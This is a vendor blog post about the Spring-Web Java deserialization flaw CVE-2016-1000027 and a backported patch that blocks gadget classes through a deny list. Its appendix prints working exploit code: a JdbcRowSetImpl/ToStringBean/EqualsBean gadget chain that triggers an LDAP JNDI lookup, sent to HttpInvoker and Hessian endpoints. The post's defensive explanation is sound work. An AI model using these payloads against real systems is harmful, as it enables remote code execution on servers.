Struggling to Patch Spring-Web? Try This Instead
Fixing Java deserialization vulnerabilities in Spring-Web is notoriously difficult, but Endor Labs offers an alternative with patches.
Fixing Java deserialization vulnerabilities in Spring-Web is notoriously difficult, but Endor Labs offers an alternative with patches.
Fixing Java deserialization vulnerabilities in Spring-Web is notoriously difficult, but Endor Labs offers an alternative with patches.
Fixing Java deserialization vulnerabilities in Spring-Web is notoriously difficult, but Endor Labs offers an alternative with patches.
Fixing Java deserialization vulnerabilities in Spring-Web is notoriously difficult, but Endor Labs offers an alternative with patches.

Deserialization vulnerabilities pose a significant and persistent threat to software security, affecting multiple programming languages and frameworks, including Java, .NET, Python, and PHP (CWE-502). Though deserialization itself isn't new, it gained widespread attention in 2015 after researchers Chris Frohoff and Gabriel Lawrence delivered their groundbreaking talk, "Marshalling Pickles", at AppSecCali. They demonstrated how Java deserialization vulnerabilities could be exploited to achieve remote code execution (RCE), particularly leveraging commonly used libraries such as Apache Commons Collections.
This revelation spurred extensive global research, uncovering vulnerabilities in widely used frameworks including Jenkins (CVE-2015-8103), Apache Struts2, Spring, JBoss, WebSphere, and even proprietary enterprise platforms. Real-world attacks followed shortly after, notably in 2016 when attackers exploited Java Commons Collections deserialization flaws to deploy ransomware on the San Francisco Municipal Transportation Agency (SFMTA).
Deserialization of untrusted data is still one of the most critical security risks to applications today. It is part of the OWASP Top 10 as A08:2021-Software and Data Integrity Failures. Just recently another deserialization vulnerability, CVE-2025-24813, was exploited just 30 hours after public disclosure and was almost immediately added to the known exploited vulnerabilities database, showing the urgency of rapid mitigation and remediation.
Java deserialization vulnerabilities linger
Unfortunately, remediation is often difficult for deserialization vulnerabilities. One of the most popular Java libraries still widely used today, org.springframework:spring-web, is susceptible to CVE‑2016‑1000027, a deserialization vulnerability.
The vulnerability exists in versions up to and including 5.3.16. The National Vulnerability Database assigned it a CVSSv3 score of 9.8 (Critical) —meaning the severity is massive if you expose HTTP Invoker endpoints to potentially malicious input.
As per the library authors:
Pivotal Spring Framework through 5.3.16 suffers from a potential remote code execution (RCE) issue if used for Java deserialization of untrusted data. Depending on how the library is implemented within a product, this issue may or not occur, and authentication may be required. NOTE: the vendor's position is that untrusted data is not an intended use case. The product's behavior will not be changed because some users rely on deserialization of trusted data.
Why Updating Spring 6 can be challenging
Spring’s maintainers stated early on that this behavior was intentional, cautioning developers not to expose the vulnerable endpoint to untrusted clients. The fix came only by removing the offending classes entirely in Spring 6, which also dropped module support for RMI, Hessian, HTTP‑Invoker, and JMS remoting all at once
In short, “fixing” this isn’t about patching logic—it’s about removing entire sets of functionality, forcing apps to rewrite or rip out legacy functionalities.
The solution to fix this issue is to upgrade to Spring 6, which requires a lot of work including:
- Upgrading your Java version to Java 17+ - Which may mean significant refactoring to support a new runtime
- Upgrading to Jakarta EE 9+
- Upgrading to new app servers (Tomcat 10, Jetty 11, etc.) because these are no longer compatible with Jakarta EE
- Sidelining existing serialization-based communication.
For most organizations this is not a small amount of work, and would require extensive re-prioritization of their engineering roadmap.
Fixing Spring-Web with Endor Patches
At Endor Labs we saw the gap: security teams needed protection from deserialization attacks, but engineering teams couldn’t always afford to stop work and rebuild their entire stack. We saw an opportunity to deliver a safer path that provides protection without breaking existing applications.
Endor Patches was our solution—backported security fixes that function as drop-in replacements for your existing versions. They resolve CVEs without extensive application rewrites, and allow you to upgrade whenever you’re ready to take on the work
In the case of Spring-Web our solution focused on securing existing Spring applications by addressing the core issue—dangerous gadget chains that enable deserialization attacks. Rather than removing functionality, we designed a patch that blocks known exploit classes at runtime. This lets developers retain their current architecture, without introducing unnecessary risk.
Our patch also complements Java’s ObjectInputFilter feature. Developers who already use filter-based protections can adopt our solution without needing to reconfigure or refactor their codebase.
How We Built and Validated the Patch
Step 1: Identify the Risk Surface
We began by analyzing the components in spring-web most susceptible to exploitation. In particular, we focused on HttpInvokerServiceExporter, which deserializes user-supplied Java objects. We needed a solution that would prevent dangerous deserialization behavior while preserving legitimate functionality.
Step 2: Study Known Exploits
We referenced leading tools in deserialization research, including:
These tools generate payloads that simulate real attacks using combinations of Java classes called "gadget chains." These chains exploit built-in Java behaviors to escalate deserialization into code execution.
If you are interested in what an example exploit would look like we’ve included one in the Appendix.
Step 3: Confirm Exploit Behavior
We tested these payloads against unpatched spring-web setups to confirm vulnerability paths. By reproducing the exploits in a controlled environment, we identified the classes involved in each attack path.
Step 4: Design a Minimal Deny List
Based on the exploit traces, we compiled a list of high-risk classes commonly used in gadget chains, such as but not limited to:
- TemplatesImpl
- EqualsBean
- ToStringBean
- JdbcRowSetImpl
Our goal was to block only those classes that posed a real threat. This avoided overblocking and ensured compatibility with normal deserialization flows.
Step 5: Implement Runtime Checks
We added runtime logic to spring-web that compares incoming deserialized objects against the deny list. If an unsafe class is detected, deserialization is halted and a warning is logged, for example:
Attempt to deserialize unsafe class blocked. Class name: com.rometools.rome.feed.impl.EqualsBean
Step 6: Ensure Compatibility
We validated that the patch did not interfere with legitimate functionality by:
- Testing against known attack payloads to verify they were blocked
- Confirming that supported remoting features (HTTP Invoker, RMI, Hessian) still functioned
- Ensuring compatibility with Java’s ObjectInputFilter
Step 7: Make It Easy to Adopt
The final patch is designed to be a drop-in replacement. It:
- Blocks known deserialization gadget chains
- Introduces no breaking changes
- Requires no framework upgrade
- Works out-of-the-box but can be extended with additional configuration if needed
The patches from Endor Labs effectively mitigate deserialization vulnerabilities without forcing disruptive version upgrades or significant changes to your Java environment. The patches proactively block known malicious gadget chains, ensuring robust protection while maintaining compatibility and stability.
The result? A minimum viable security patch with only a few hundred lines of code changes:

Takeaway
You shouldn’t have to rearchitect your whole app just to fix a security bug. Our patched version of spring-web protects your existing endpoints without forcing a painful upgrade path. For teams running Spring 5.x, this gives you reliable protection where you need it most.
Our goal at Endor Labs is to make security practical, whether that's recommending an upgrade or precise fixes—not just telling you to rewrite everything from scratch. You can read more in our whitepaper, or explore the patches we have available.
Appendix: Deep Dive into Deserialization and Exploitation Examples
If you're like me and prefer actual code over high level explanations, and you’re okay with the non-techies tuning out at this point, here's a hands-on look at what deserialization is and what it looks like when it goes wrong.
Basic Java Serialization and Deserialization
Serialization Example:
This snippet shows how an object (in this case, a `Greeting` object) is serialized—that is, converted into a byte stream and saved to a file.
Greeting greeting = new Greeting("Hi");
try (FileOutputStream fileOut = new FileOutputStream("GreetingObject.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut)) {
out.writeObject(greeting);
System.out.println("Serialized data is saved in GreetingObject.ser");
} catch (IOException e) {
e.printStackTrace();
}
Deserialization Example:
This snippet reverses the process reading the byte stream back into an object.
try (FileInputStream fileIn = new FileInputStream("GreetingObject.ser");
ObjectInputStream in = new ObjectInputStream(fileIn)) {
Greeting greeting = (Greeting) in.readObject();
System.out.println("Deserialized Greeting: " + greeting);
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
Exploiting Deserialization in Spring Web (HTTP RMI Example)
Remote Method Invocation (RMI) over HTTP can be abused if deserialization isn’t locked down. Here’s how that plays out:
Step 1: Expose a service over HTTP
This sets up an RMI endpoint using Spring’s `HttpInvokerServiceExporter`.
@Bean(name = "/booking")
HttpInvokerServiceExporter accountService() {
HttpInvokerServiceExporter exporter = new HttpInvokerServiceExporter();
exporter.setService(new FlightBookingServiceImpl());
exporter.setServiceInterface(FlightBookingService.class);
return exporter;
}
Step 2: Legit client usage (safe)
The client sets up a proxy to the `/booking` endpoint and makes a request to `bookFlight`.
HttpInvokerProxyFactoryBean proxyFactory = new HttpInvokerProxyFactoryBean();
proxyFactory.setServiceInterface(FlightBookingService.class);
proxyFactory.setServiceUrl("http://localhost:8080/booking");
proxyFactory.afterPropertiesSet();
FlightBookingService bookingService = (FlightBookingService) proxyFactory.getObject();
String confirmation = bookingService.bookFlight("NYC", "LAX", "2025-06-01");
Step 3: Malicious client hijacking the endpoint
Here, an attacker crafts a malicious payload with a gadget chain and sends it to the vulnerable endpoint.
private static byte[] getBytePayload() throws Exception {
HashMap map = new HashMap();
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName("ldap://localhost:1389/objHZHZC0");
rs.setMatchColumn("foo");
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
EqualsBean root = new EqualsBean(ToStringBean.class, item);
map.put(root, "payload");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(map);
oos.close();
return baos.toByteArray();
}
public static void execute() throws Exception {
byte[] payload = getBytePayload();
HttpURLConnection connection = (HttpURLConnection) new URL("http://localhost:8061/booking").openConnection();
connection.setDoOutput(true);
connection.setRequestMethod("POST");
connection.setRequestProperty("Content-Type", "application/x-java-serialized-object");
connection.setRequestProperty("Content-Length", Integer.toString(payload.length));
try (BufferedOutputStream bos = new BufferedOutputStream(connection.getOutputStream())) {
bos.write(payload);
bos.flush();
}
System.out.println("Response Code: " + connection.getResponseCode());
}
Explanation: This payload uses classes (`JdbcRowSetImpl`, `ToStringBean`, `EqualsBean`) known to form part of Java gadget chains. When deserialized, they can lead to a JNDI lookup, which may be used to achieve remote code execution.
Hessian-Based Deserialization Exploit
Hessian is a binary RPC protocol used with Spring. Even though it doesn’t use Java’s default `ObjectInputStream`, it uses custom deserializers that can still be exploited if untrusted input is passed.
Preconditions:
1. Gadget classes are on the server classpath.
2. Input comes from untrusted sources.
Step 1: Create a Hessian endpoint
@Bean(name = "/hessianBooking")
RemoteExporter hessianService(IFlightBookingService service) {
HessianServiceExporter exporter = new HessianServiceExporter();
exporter.setService(bookingService());
exporter.setServiceInterface(IFlightBookingService.class);
return exporter;
}
Step 2: Define the request model
This includes a field that accepts any `Object`, giving attackers a spot to inject gadget chains.
public class FlightRequest implements Serializable {
private String to;
private String from;
private Personnel personnel;
private Object object; // attacker-controlled
}
Step 3: Send gadget chain via `Object` field
HashMap map = new HashMap();
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName("ldap://localhost:1389/objHZHZC0");
rs.setMatchColumn("foo");
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
EqualsBean root = new EqualsBean(ToStringBean.class, item);
map.put(root, "payload");
FlightRequest request = new FlightRequest("CCU", "BLR", map);
IFlightBookingService service = SpringApplication.run(Runner.class, args).getBean(IFlightBookingService.class);
Flight response = service.bookFlight(request);
Explanation: When this request hits the Hessian endpoint, the server invokes `MapDeserializer`, which attempts to call `put()` on the map. This in turn triggers the `toString()` method on `ToStringBean`, which starts a chain of reflective calls that leads to a JNDI lookup similar to the RMI example.
Stack trace fragment
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke:498, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
hash:339, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
TL;DR:
Even protocols not using native Java deserialization can still be vulnerable if they deserialize untrusted input into complex object graphs with gadget classes available. Lock it down, or someone else will boot up your classpath for you.